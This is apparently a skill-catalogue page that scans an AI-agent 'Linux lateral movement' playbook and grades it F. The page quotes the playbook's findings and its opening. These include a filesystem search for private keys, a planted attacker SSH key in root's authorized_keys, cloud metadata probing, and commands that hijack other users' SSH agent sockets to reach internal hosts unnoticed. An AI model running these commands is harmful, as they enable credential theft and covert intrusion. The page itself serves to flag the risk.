Getting it into your agent
There is no command for this one: it runs only inside a plugin, and the catalogue could not identify which plugin ships it. The source is linked below.
Wrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/linux-lateral-movement)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/linux-lateral-movement"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/linux-lateral-movement.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00048 | $0.03350 |
| Opus 5 | $0.00024 | $0.01675 |
| Sonnet 5 | $0.00010 | $0.00670 |
| Haiku 4.5 | $0.00005 | $0.00335 |
Grade F, and why
linux-lateral-movement scanned grade F with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Enumerates the file system for secretshighData exfiltration
Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
└── Check for cloud metadata (169.254.169.254) This is a copy
100% identical to linux-lateral-movement — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 349 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Linux Lateral Movement — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation if you need root on the current host before pivoting
- linux-security-bypass when restricted shells or security modules block lateral movement tools
- container-escape-techniques when the target network includes containerized hosts
- kubernetes-pentesting when pivoting into a Kubernetes cluster
- unauthorized-access-common-services for exploiting discovered internal services (Redis, MongoDB, etc.)
1. SSH AGENT HIJACKING
1.1 Find SSH Agent Sockets
# As root (or user with access to other users' processes):
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
# Or via /proc:
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'
# Typical path: /tmp/ssh-XXXXXX/agent.PID
1.2 Hijack Agent Forwarding
# Set the found socket as our auth agent
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345
# List available keys in the agent
ssh-add -l
# If keys appear → we can use them
# SSH to any host this agent can authenticate to
ssh -o StrictHostKeyChecking=no user@internal-host
# The agent owner won't notice — we're using their forwarded agent
1.3 Persistent Agent Monitoring
# Monitor for new SSH agent sockets (wait for admin to SSH in)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# Or poll:
while true; do
find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
touch /tmp/.marker
sleep 5
done
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 349 lines · 48 tokens per session scan F 24f79f9637f0
linux-lateral-movement is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 48 tokens to every session and 3,350 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it F with 4 findings (enumerates the file system for secrets, asks for root, reaches for credential files). It is 100% identical to linux-lateral-movement, differing in 0 lines, and is treated as a copy.
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